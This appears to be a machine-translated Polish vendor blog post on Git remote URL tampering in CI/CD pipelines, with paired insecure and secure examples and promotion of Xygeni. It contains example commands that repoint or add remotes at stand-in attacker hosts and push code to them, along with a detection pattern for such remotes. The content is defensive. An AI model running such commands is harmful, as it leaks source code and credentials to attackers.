Ukryte ryzyko związane z prostym poleceniem Git
Dla większości programistów uruchomienie polecenia takiego jak git remote set-url origin Wydaje się to rutyną, kolejnym krokiem w utrzymaniu konfiguracji Gita. Skrypty CI często wykonują polecenia takie jak git remote set-url, Git set url for remote lub Git remote add, aby pobrać lub przesłać kod podczas kompilacji. Istnieje jednak ryzyko: jeśli atakujący zmodyfikuje tę konfigurację (lokalnie lub w ramach CI), może przekierować Twoje źródło do złośliwego repozytorium, przechwycić dane uwierzytelniające lub wstrzyknąć złośliwe oprogramowanie do łańcucha dostaw.
Przykład typowego zastosowania:
# Uprawnione użycie
git zdalny set-url origin https://github.com/org/project.git
⚠️ Niebezpieczny przykład, wyłącznie do celów edukacyjnych. Nie używać w środowisku produkcyjnym.
# ❌ Malicious alteration (insecure)
git remote set-url origin https://evil-repo.attacker.net/project.git
Zabezpiecz wersję, przypnij i zweryfikuj pochodzenie repozytorium
# ✅ Secure: use a fixed, validated origin and log intent
git remote set-url origin https://github.com/secure-org/project.git
# Educational note: prefer hardcoded, audited origins or validate against a whitelist before setting.
Dlaczego? Jeśli zdalny komputer zostanie przeniesiony na host kontrolowany przez atakującego, każde kolejne polecenie git fetch/git push będzie wskazywało na złośliwy kod. W miarę możliwości należy na stałe zakodować zaufane źródła i unikać niezweryfikowanych dynamicznych adresów URL.
Jak zdalna manipulacja zagraża kompilacji Pipeline
Zmodyfikowany zdalny adres URL Git może mieć poważne konsekwencje w przypadku automatyzacji pipelinegdzie skrypty są traktowane jako zaufane w sposób dorozumiany.
Przykładowy scenariusz:
- Skrypt CI używa polecenia git remote set-url do dynamicznej rekonfiguracji repozytoriów.
- Do skryptu wstrzykuje się zakłóconą zmienną środowiskową (np. adres URL tokenu lub repozytorium).
- Kompilacja pobiera lub przesyła kod do złośliwego repozytorium.
- Atakujący wprowadza tylne drzwi lub modyfikuje zależności.
⚠️ Niebezpieczny przykład, wyłącznie do celów edukacyjnych. Nie używać w środowisku produkcyjnym.
# ❌ CI/CD pipeline with an unvalidated remote URL
steps:
- name: Set remote
run: git remote set-url origin $REPO_URL
- name: Build and deploy
run: npm install && npm run build
Wersja bezpieczna, przed użyciem sprawdź poprawność $REPO_URL (weryfikacja białej listy / xygeni).
# ✅ CI/CD pipeline with validation guardrail
steps:
- name: Validate REPO_URL
run: |
# Educational note: never accept raw URLs without validation.
if ! xygeni verify --git-origin "$REPO_URL" --whitelist domains.txt; then
echo "Untrusted repo origin: $REPO_URL" && exit 1
fi
- name: Set remote (safe)
run: git remote set-url origin "$REPO_URL"
- name: Build and deploy
run: npm ci && npm run build
Dlaczego: Sprawdź przychodzące adresy URL repozytorium na podstawie prowadzonej białej listy (lub użyj xygeni verify --git-origin) przed podjęciem na nich działań. Zapobiega to nadpisywaniu zmiennych środowiskowych przez atakujących w celu przekierowania pipelines.
Wykrywanie nieautoryzowanych zmian w konfiguracji zdalnej
Git nie powiadamia Cię o modyfikacji zdalnego komputera. Proaktywne monitorowanie .git/config i konieczne jest przeprowadzenie kontroli integralności przed kompilacją.
Praktyczne techniki wykrywania
Sprawdź konfigurację Git:
Porównaj dane wyjściowe z oczekiwanymi adresami URL zapisanymi w bezpiecznej bazie.
Uprawomocnić
.git/configuczciwość:Porównaj sumę kontrolną z zaufaną wartością bazową.
Walidacja oparta na CI:
Uwaga edukacyjna: Nie uruchamiaj kontroli integralności ani poleceń weryfikacji z długotrwałymi danymi uwierzytelniającymi ujawnionymi w logach lub niezabezpieczonych środowiskach. Używaj tymczasowych danych uwierzytelniających, zabezpieczonych haseł i unikaj wykonywania poleceń weryfikacji jako użytkownik uprzywilejowany, jeśli to możliwe.
Wskazówka dotycząca wykrywania: Szukaj pilotów wskazujących na domeny niekanoniczne (nieoczekiwane) .net, .io, adresy IP), duplikaty nazw zdalnych lub zmienne środowiskowe kontrolujące adresy URL repozytorium bez walidacji. Wczesne wykrywanie zapobiega git set-url manipulacji poprzez zanieczyszczanie kompilacji.
Zabezpieczanie źródeł repozytorium za pomocą Guardrails i walidacja skrótu
Zapobieganie oznacza egzekwowanie ścisłej kontroli nad tym, z jakich repozytoriów korzystasz. Guardrails obejmują podpisywanie, walidację skrótu i ograniczanie możliwości modyfikowania zmiennych CI.
Bezpieczne praktyki zapewniające integralność repozytorium
Przypnij adresy URL repozytoriów, w miarę możliwości zakoduj na stałe zaufane źródła:
# ✅ Secure practice: fixed, audited origin
git remote set-url origin https://github.com/secure-org/project.git
Enforce commit signing:
# ✅ Verify commit signatures before builds
git verify-commit HEAD
Sprawdź poprawność skrótów repozytorium:
Przed kompilacją sprawdź, czy HEAD pasuje do oczekiwanego skrótu.
⚠️ Niepewny przykład, drukowanie tokenów w logach (nie używać w produkcji).
# ❌ Insecure token handling (do not print secrets)
echo "Deploying with token: $DEPLOY_TOKEN"
Wersja bezpieczna, odczytaj sekrety z sejfu i nigdy nie drukuj
# ✅ Secure: retrieve secrets from vault and avoid echoing them
export DEPLOY_TOKEN=$(vault read -field=value secret/deploy_token)
# Educational note: Never print tokens or secrets to logs; use masked variables in CI.
Mini lista kontrolna: Bezpieczne zdalne zarządzanie Gitem
- egzekwować zdalne umieszczanie na białej liście lub weryfikacja adresów URL.
- Przed kompilacją sprawdź integralność pliku .git/config.
- Wymagaj podpisu commiti tagi.
- Ogranicz osoby, które mogą modyfikować zmienne środowiskowe CI.
- Rejestruj wykonania poleceń git remote set-url i git remote add na potrzeby audytu.
Integracja zdalnej weryfikacji adresu URL Git z CI/CD Pipelines
Dodaj guardrails i automatycznej weryfikacji, aby zapobiec zdalnej manipulacji na wczesnym etapie pipeline.
Przykład Guardrail: sprawdź, czy nie ma duplikatów lub nieautoryzowanych pilotów
# ✅ Pipeline guardrail: detect duplicate or unauthorized remotes
steps:
- name: Check remotes
run: |
git remote -v > /tmp/remotes.txt
if grep -E "evil-repo|attacker" /tmp/remotes.txt; then
echo "Unauthorized remote detected" && exit 1
fi
# Validate current origin matches expected
if ! xygeni verify --git-origin "$(git config --get remote.origin.url)" --whitelist domains.txt; then
echo "Origin verification failed" && exit 1
fi
Wzmocnienie chroniące przed manipulacją łańcuchem dostaw w środowiskach współdzielonych
Współdzielone programy wykonawcze i dozwolone polecenia zdalne są obarczone wysokim ryzykiem. Unikaj poleceń, które dodają niesprawdzone zdalne programy wykonawcze w trakcie wykonywania zadania.
⚠️ Niebezpieczny przykład: dodanie zdalnego dostępu atakującego (nie używać).
# ❌ Insecure: adding an unvetted remote
git remote add backup https://attacker.net/mirror.git
Wersja bezpieczna, ograniczona do zweryfikowanych domen i używająca opcji –set-url tylko w przypadku zatwierdzonych źródeł
# ✅ Secure: modify remotes only after domain validation
VALID_DOMAIN="github.com|gitlab.com|internal.company.com"
REMOTE_URL="https://github.com/secure-org/project.git"
if echo "$REMOTE_URL" | grep -Eq "$VALID_DOMAIN"; then
git remote add backup "$REMOTE_URL"
else
echo "Refusing to add unapproved remote" && exit 1
fi
Uwaga: należy preferować tymczasowe programy uruchamiające i unikać trwałych współdzielonych pamięci podręcznych między zadaniami.
Uwaga dotycząca programów uruchamiających: Używaj efemerycznych, odizolowanych programów uruchamiających, które są tworzone na nowo dla każdego zadania. Współdzielone dyski lub pamięci podręczne mogą przechowywać zmodyfikowane pliki między kompilacjami.
Integracja adresu URL zestawu Git do zdalnej walidacji CI/CD Pipelines
Zabezpieczenie zdalnego użycia polecenia git set-url nie polega wyłącznie na ręcznych sprawdzeniach; chodzi tu o automatyzację. Nowoczesne przepływy pracy DevSecOps mogą integrować walidację bezpośrednio z CI/CD pipelines.
Przykład: automatyczna zdalna weryfikacja integralności
stages:
- validate
- build
validate-repo:
script:
- echo "Validating repository origin..."
- xygeni enforce --policy git-origin.yaml
- xygeni scan --detect-remote-tampering
Ta konfiguracja zapewnia, że przed uruchomieniem jakiejkolwiek kompilacji lub wdrożenia pipeline potwierdza:
- Adres URL repozytorium jest zgodny z oczekiwaną wartością.
- Commit podpisy są ważne.
- Nie dodano żadnych nieoczekiwanych pilotów za pomocą polecenia git add remote.
Dodatkowe elementy sterujące CI
- Pre-commit hooks:Sprawdź, czy nie ma nieautoryzowanych git zdalny set-url polecenia istnieją w commits.
- Egzekwowanie zasad w formie kodu: Zdefiniuj dozwolone źródła jako część zasad kontroli wersji.
- Dublowanie zależności: Pobieraj kod ze zweryfikowanych wewnętrznych kopii lustrzanych, a nie bezpośrednio ze źródeł internetowych.
Automatyzacja tych kontroli nie tylko zapobiega błędnym konfiguracjom, ale także wykrywa próby manipulacji łańcuchem dostaw jeszcze przed wysłaniem kodu.
Wzmocnienie chroniące przed manipulacją łańcuchem dostaw w środowiskach współdzielonych
Współdzielone programy uruchomieniowe lub efemeryczne środowiska CI stwarzają dodatkowe ryzyko. Gdy wiele kompilacji współdzieli zasoby, polecenia git remote set-url lub git add remote mogą być wykorzystywane do utrwalania złośliwych zdalnych wersji między sesjami.
Typowe scenariusze ataków
Zhakowany skrypt kompilacji dodaje nowy pilot, aby przesłać kod do repozytorium atakującego:
git dodaj zdalną kopię zapasową https://attacker.example.com/repo.git
git push kopia zapasowa główna
- Inny projekt działający na tym samym agencie CI pobiera dane z tego samego zanieczyszczonego stanu.
- Dane wrażliwe, takie jak tokeny lub artefakty kompilacji, wyciekają w wyniku nieautoryzowanych prób przesłania danych.
Środki hartujące
- Ulotni biegacze: Zresetuj środowiska CI po każdej kompilacji.
- Izolacja sieci: Ogranicz ruch wychodzący do zatwierdzonych domen.
- Najmniejsze uprawnienia: Ogranicz uprawnienia dla operacji Git w pipelines.
- Podpisywanie artefaktów: Upewnij się, że wszystkie dane wyjściowe kompilacji są podpisane kryptograficznie i zweryfikowane.
Łącząc izolację, walidację i monitorowanie, zespoły mogą neutralizować ataki wykorzystujące adres URL zestawu git do zdalnej manipulacji.
Weryfikuj, monitoruj i automatyzuj zaufanie do repozytorium
Pojedyncze niewłaściwie użyte polecenie git remote set-url lub niezweryfikowane polecenie git add remote może dyskretnie przekierować cały proces kompilacji do repozytorium kontrolowanego przez atakującego. Granica między produktywnością a kompromisem w DevOps jest cieńsza niż kiedykolwiek, a ataki na łańcuch dostaw oprogramowania wykorzystać dokładnie to.
Aby utrzymać zaufanie do Ciebie pipelines:
- Ciągła weryfikacja pochodzenia repozytoriów.
- egzekwować commit i podpisywanie artefaktów.
- Automatyzuj kontrole integralności na każdym etapie CI/CD.
Platformy takie jak Xygeni Pomóż zespołom DevSecOps wykrywać błędne konfiguracje zdalne, monitorować granice zaufania repozytoriów i blokować zagrożenia dla łańcucha dostaw wynikające z niewłaściwego użycia Git, zanim złośliwe aplikacje zdalne będą miały szansę wdrożyć kod.
Zaufaj swojemu procesowi pracy, ale weryfikuj źródło. W ten sposób zapobiegniesz sytuacji, w której git remote set-url stanie się kolejnym naruszeniem bezpieczeństwa.
